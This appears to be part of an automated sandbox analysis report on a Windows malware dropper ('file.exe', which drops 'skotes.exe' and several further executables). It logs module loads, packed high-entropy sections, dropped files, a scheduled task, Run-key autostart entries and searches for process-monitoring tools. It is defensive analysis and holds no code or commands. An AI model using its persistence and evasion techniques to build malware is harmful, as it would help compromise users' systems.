Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Section loaded: cryptsp.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 3047424 > 1048576

Source: file.exe

Static PE information: Raw size of sftdblig is bigger than: 0x100000 < 0x2b6400

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.5d0000.0.unpack :EW;.rsrc:W;.idata :W;sftdblig:EW;tqdamjfv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;sftdblig:EW;tqdamjfv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.fb0000.0.unpack :EW;.rsrc:W;.idata :W;sftdblig:EW;tqdamjfv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;sftdblig:EW;tqdamjfv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 3.2.skotes.exe.fb0000.0.unpack :EW;.rsrc:W;.idata :W;sftdblig:EW;tqdamjfv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;sftdblig:EW;tqdamjfv:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: e82adb1900.exe.8.dr	Static PE information: real checksum: 0x1a8f48 should be: 0x1affe7
Source: random[1].exe1.8.dr	Static PE information: real checksum: 0x1d2d25 should be: 0x1d6b7c
Source: random[1].exe.8.dr	Static PE information: real checksum: 0x43ec7b should be: 0x4420b3
Source: 5504bf3a7b.exe.8.dr	Static PE information: real checksum: 0x1d2d25 should be: 0x1d6b7c
Source: random[1].exe2.8.dr	Static PE information: real checksum: 0x1c7648 should be: 0x1c5917
Source: b6e002a8f0.exe.8.dr	Static PE information: real checksum: 0x2c266a should be: 0x2cbc47
Source: random[1].exe0.8.dr	Static PE information: real checksum: 0x0 should be: 0xc8597
Source: file.exe	Static PE information: real checksum: 0x2e91a4 should be: 0x2ef9d5
Source: bb3768c743.exe.8.dr	Static PE information: real checksum: 0x0 should be: 0xc8597
Source: random[2].exe1.8.dr	Static PE information: real checksum: 0x1a8f48 should be: 0x1affe7
Source: random[2].exe.8.dr	Static PE information: real checksum: 0x2c266a should be: 0x2cbc47
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x2e91a4 should be: 0x2ef9d5
Source: 5d7a2e45de.exe.8.dr	Static PE information: real checksum: 0x43ec7b should be: 0x4420b3
Source: 43ac536e27.exe.8.dr	Static PE information: real checksum: 0x1c7648 should be: 0x1c5917

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: sftdblig
Source: file.exe	Static PE information: section name: tqdamjfv
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: sftdblig
Source: skotes.exe.0.dr	Static PE information: section name: tqdamjfv
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name: .idata
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name: sgmjipkl
Source: random[1].exe.8.dr	Static PE information: section name: pwaltzxf
Source: random[1].exe.8.dr	Static PE information: section name: .taggant
Source: 5d7a2e45de.exe.8.dr	Static PE information: section name:
Source: 5d7a2e45de.exe.8.dr	Static PE information: section name: .idata
Source: 5d7a2e45de.exe.8.dr	Static PE information: section name:
Source: 5d7a2e45de.exe.8.dr	Static PE information: section name: sgmjipkl
Source: 5d7a2e45de.exe.8.dr	Static PE information: section name: pwaltzxf
Source: 5d7a2e45de.exe.8.dr	Static PE information: section name: .taggant
Source: random[1].exe1.8.dr	Static PE information: section name:
Source: random[1].exe1.8.dr	Static PE information: section name: .idata
Source: random[1].exe1.8.dr	Static PE information: section name:
Source: random[1].exe1.8.dr	Static PE information: section name: uzxdwyvi
Source: random[1].exe1.8.dr	Static PE information: section name: efzdldig
Source: random[1].exe1.8.dr	Static PE information: section name: .taggant
Source: 5504bf3a7b.exe.8.dr	Static PE information: section name:
Source: 5504bf3a7b.exe.8.dr	Static PE information: section name: .idata
Source: 5504bf3a7b.exe.8.dr	Static PE information: section name:
Source: 5504bf3a7b.exe.8.dr	Static PE information: section name: uzxdwyvi
Source: 5504bf3a7b.exe.8.dr	Static PE information: section name: efzdldig
Source: 5504bf3a7b.exe.8.dr	Static PE information: section name: .taggant
Source: random[1].exe2.8.dr	Static PE information: section name:
Source: random[1].exe2.8.dr	Static PE information: section name: .idata
Source: random[1].exe2.8.dr	Static PE information: section name:
Source: random[1].exe2.8.dr	Static PE information: section name: zajbtexj
Source: random[1].exe2.8.dr	Static PE information: section name: kwcryctq
Source: random[1].exe2.8.dr	Static PE information: section name: .taggant
Source: 43ac536e27.exe.8.dr	Static PE information: section name:
Source: 43ac536e27.exe.8.dr	Static PE information: section name: .idata
Source: 43ac536e27.exe.8.dr	Static PE information: section name:
Source: 43ac536e27.exe.8.dr	Static PE information: section name: zajbtexj
Source: 43ac536e27.exe.8.dr	Static PE information: section name: kwcryctq
Source: 43ac536e27.exe.8.dr	Static PE information: section name: .taggant
Source: random[2].exe.8.dr	Static PE information: section name:
Source: random[2].exe.8.dr	Static PE information: section name: .idata
Source: random[2].exe.8.dr	Static PE information: section name: oiorywlp
Source: random[2].exe.8.dr	Static PE information: section name: yzgbcaqs
Source: random[2].exe.8.dr	Static PE information: section name: .taggant
Source: b6e002a8f0.exe.8.dr	Static PE information: section name:
Source: b6e002a8f0.exe.8.dr	Static PE information: section name: .idata
Source: b6e002a8f0.exe.8.dr	Static PE information: section name: oiorywlp
Source: b6e002a8f0.exe.8.dr	Static PE information: section name: yzgbcaqs
Source: b6e002a8f0.exe.8.dr	Static PE information: section name: .taggant
Source: random[2].exe1.8.dr	Static PE information: section name:
Source: random[2].exe1.8.dr	Static PE information: section name: .idata
Source: random[2].exe1.8.dr	Static PE information: section name:
Source: random[2].exe1.8.dr	Static PE information: section name: pwjairst
Source: random[2].exe1.8.dr	Static PE information: section name: lcewkiss
Source: random[2].exe1.8.dr	Static PE information: section name: .taggant
Source: e82adb1900.exe.8.dr	Static PE information: section name:
Source: e82adb1900.exe.8.dr	Static PE information: section name: .idata
Source: e82adb1900.exe.8.dr	Static PE information: section name:
Source: e82adb1900.exe.8.dr	Static PE information: section name: pwjairst
Source: e82adb1900.exe.8.dr	Static PE information: section name: lcewkiss
Source: e82adb1900.exe.8.dr	Static PE information: section name: .taggant
Source: service123.exe.14.dr	Static PE information: section name: .eh_fram

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005ED91C push ecx; ret	0_2_005ED92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005E1359 push es; ret	0_2_005E135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00FCD91C push ecx; ret	2_2_00FCD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00FCD91C push ecx; ret	3_2_00FCD92F
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Code function: 15_2_0043534A push ecx; ret	15_2_0043535D
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Code function: 17_2_0043534A push ecx; ret	17_2_0043535D

Source: file.exe	Static PE information: section name: entropy: 7.985033648213991
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.985033648213991
Source: random[1].exe.8.dr	Static PE information: section name: sgmjipkl entropy: 7.954959217473626
Source: 5d7a2e45de.exe.8.dr	Static PE information: section name: sgmjipkl entropy: 7.954959217473626
Source: random[1].exe1.8.dr	Static PE information: section name: entropy: 7.974324170155358
Source: random[1].exe1.8.dr	Static PE information: section name: uzxdwyvi entropy: 7.955304664762435
Source: 5504bf3a7b.exe.8.dr	Static PE information: section name: entropy: 7.974324170155358
Source: 5504bf3a7b.exe.8.dr	Static PE information: section name: uzxdwyvi entropy: 7.955304664762435
Source: random[1].exe2.8.dr	Static PE information: section name: entropy: 7.97194323302097
Source: random[1].exe2.8.dr	Static PE information: section name: zajbtexj entropy: 7.953476453200085
Source: 43ac536e27.exe.8.dr	Static PE information: section name: entropy: 7.97194323302097
Source: 43ac536e27.exe.8.dr	Static PE information: section name: zajbtexj entropy: 7.953476453200085
Source: random[2].exe1.8.dr	Static PE information: section name: entropy: 7.766545416765687
Source: random[2].exe1.8.dr	Static PE information: section name: pwjairst entropy: 7.953726534682487
Source: e82adb1900.exe.8.dr	Static PE information: section name: entropy: 7.766545416765687
Source: e82adb1900.exe.8.dr	Static PE information: section name: pwjairst entropy: 7.953726534682487

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017427001\25e92e47ca.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017426001\b6e002a8f0.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017428001\e82adb1900.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017425001\43ac536e27.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017424001\5504bf3a7b.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	File created: C:\Users\user\AppData\Local\Temp\service123.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e82adb1900.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 25e92e47ca.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 43ac536e27.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b6e002a8f0.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 43ac536e27.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 43ac536e27.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b6e002a8f0.exe	Jump to behavior
